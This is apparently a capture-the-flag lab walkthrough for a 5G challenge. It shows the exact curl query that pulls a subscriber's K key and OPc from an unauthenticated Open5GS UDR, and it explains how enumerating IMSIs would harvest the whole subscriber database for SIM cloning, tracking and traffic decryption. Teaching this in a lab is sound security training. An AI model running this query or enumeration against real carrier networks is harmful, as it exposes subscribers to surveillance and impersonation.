CH5 — Subscriber Harvest

1

CH5 vs CH2 — What Is Different?

Same vulnerability, different threat model

CH5 uses the same UDR endpoint as CH2 — /nudr-dr/v1/subscription-data/. The difference is not the vulnerability itself but what the challenge teaches. In CH2, you were handed the IMSI and asked to fetch one subscriber's credentials. In CH5, you must determine which IMSI has the flag. That distinction is the entire lesson: unauthenticated UDR access is not just a targeted credential theft risk — it is a bulk subscriber surveillance capability.

Challenge 2

Credential Theft — Targeted

Target IMSIGiven to you

ScopeOne subscriber

Threat modelTargeted attack

Attacker knows whoYes — hint provided

Points200

Challenge 5 — This Challenge

Subscriber Harvest — Bulk

Target IMSIYou must find it

ScopeAll subscribers

Threat modelMass surveillance

Attacker knows whoNo — must enumerate

Points250

The IMSI for this challenge is given as a hint: imsi-999700000000088. But understanding why this challenge exists means understanding what happens when an attacker does not have the hint — they iterate every possible IMSI in the network's PLMN range and harvest every K key returned. With no OAuth2 on the UDR, that is a single loop over HTTP/2 requests. No rate limiting. No authentication. Every subscriber exposed.

2

SUPI Disclosure at Scale

From targeted credential theft to mass surveillance capability

A SUPI (Subscription Permanent Identifier) is the 5G successor to the IMSI — the permanent identity of a subscriber. The UDR endpoint that returns authentication data also reveals the SUPI, the K key, the OPc parameter, and the sequence number for every subscriber it is queried about. Without OAuth2 enforcement, there is no constraint on who can ask or how many times.

Bulk Harvest Capability

One Endpoint — Every Subscriber

A carrier network may have millions of subscribers. Their IMSIs follow a predictable structure: MCC + MNC + MSIN (Mobile Subscriber Identification Number). Given the PLMN (999-70 in this lab), an attacker can enumerate all valid IMSIs and query the UDR for each one. The result is a complete copy of the subscriber database — every K key, every OPc, every authentication secret in the network.

💾

Clone Any SIM

With K and OPc for any IMSI, provision a software SIM clone for any subscriber in the network.

📢

Passive Decryption

All session keys derive from K. Recorded radio traffic from any subscriber becomes decryptable retroactively.

📍

Location Tracking

With a cloned SIM, track subscriber location by probing the network — the network thinks it is talking to the real SIM.

🏡

Network Compromise

The full subscriber database is the most sensitive asset in a carrier network. Bulk harvest is a complete network compromise.

This is SUPI disclosure at scale — the difference between picking a pocket and robbing a bank. CH2 demonstrates that one targeted query works. CH5 demonstrates that without any auth enforcement, an attacker has no reason to limit themselves to one query. The entire subscriber base is exposed in the same amount of time it takes to write a loop.

3

The Attack

One curl command — UDR direct query on the target IMSI

The attack is identical to CH2 at the HTTP level. The difference is that in CH5 the IMSI is provided as a challenge hint — because the real point is understanding what bulk enumeration looks like, not spending the workshop session iterating IMSIs. Query the UDR authentication subscription endpoint for imsi-999700000000088. The encPermanentKey value in the response is the flag.

HTTP/2 is required: All 5G SBI endpoints run HTTP/2. Pass --http2-prior-knowledge to every curl command or you will receive no response. The UDR is at 10.100.200.50:7777.

Direct Query — UDR Authentication Subscription for IMSI 88curl --http2-prior-knowledge \
     "http://10.100.200.50:7777/nudr-dr/v1/subscription-data/imsi-999700000000088/authentication-data/authentication-subscription"

# encPermanentKey IS the flag — wrap in TWIN{}

JSON Response — flag field highlighted

{
  "authenticationMethod": "5G_AKA",
  "encPermanentKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",   <-- THIS IS THE FLAG
  "encOpcKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "authenticationManagementField": "8000",
  "algorithmId": "MILENAGE",
  "sequenceNumber": {
    "sqn": "000000000000",
    "sqnScheme": "NON_TIME_BASED"
  }
}

encPermanentKey IS the flag. Take the 32-character hex value, wrap it in TWIN{}, and submit. The value for IMSI imsi-999700000000088 differs from the CH2 subscriber — each provisioned subscriber has a unique K key.

Field	What It Is	CH5 Context
encPermanentKey	K — the permanent subscriber key (128-bit / 32 hex chars)	This is the flag. In bulk harvest, this field is returned for every IMSI queried — no rate limiting, no auth.
encOpcKey	OPc — operator-specific parameter for MILENAGE	Required alongside K for a complete software SIM clone. Also returned with no auth check.
authenticationMethod	5G_AKA or EAP-AKA' — the authentication protocol to use	Reveals whether the subscriber is using the stronger 5G-AKA protocol or the legacy EAP path.
sqn	Sequence number — anti-replay counter per subscriber	In a bulk harvest, knowing each subscriber's SQN lets an attacker forge valid auth vectors without triggering sync failures.

4

Real World Impact

What bulk UDR access means for a real carrier network

The distinction between targeted credential theft and bulk subscriber harvesting is the difference between a breach affecting one person and a breach affecting an entire country's mobile subscribers. The same unauthenticated endpoint that powers CH2 and CH5 would, in a real carrier, expose every subscriber with a single loop.

📝
Complete subscriber database exfiltration With no auth and no rate limiting on the UDR, an attacker iterates every IMSI in the network's PLMN range. Depending on the carrier, that is millions of records. Each query returns K, OPc, SQN — everything needed to clone any subscriber's SIM. This is the equivalent of exfiltrating the entire HSS/HLR database from a 4G network.
🔑
Mass SIM cloning capability Every K key returned is a SIM clone waiting to happen. With K and OPc, a software SIM (e.g., srsRAN, Open5GS UE, a programmable SIM) can be configured to impersonate any subscriber. At scale, this means an attacker can impersonate any subscriber in the network — for calls, data, SMS, and location.
📡
Retroactive decryption of all captured traffic All 5G session keys, ciphering keys, and integrity keys are derived from K using 5G-AKA. An attacker who has been passively recording encrypted radio traffic — not yet able to decrypt it — can apply the harvested K keys retroactively to decrypt everything they captured before the breach was even discovered.
🚫
This is why HSMs exist — and why open5GS is for labs only Production carriers store K inside Hardware Security Modules that never expose the raw key material over any software interface. The UDR sits in front of the HSM and only returns derived authentication vectors — not K itself. Open5GS stores K in MongoDB plaintext specifically because it is designed for development. The lesson of CH5 is what happens when that design assumption is violated by deploying it without the hardening a real deployment requires.

5

Flag Format

Where to look and what to submit

CH5 Flag Format

TWIN{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

32 lowercase hexadecimal characters inside the braces.

The flag is the value of encPermanentKey in the UDR authentication subscription JSON response for the target subscriber IMSI imsi-999700000000088.

Take the 32-char hex string, wrap it in TWIN{}, and submit. This value is different from the CH2 flag — each subscriber has a unique K key provisioned in the lab.

Hint — IMSI to use: The target subscriber is imsi-999700000000088. Note the last three digits: 088, not 099 (which is CH2's target). Using the wrong IMSI format returns a 400 Bad Request. The IMSI must be 15 digits after the imsi- prefix.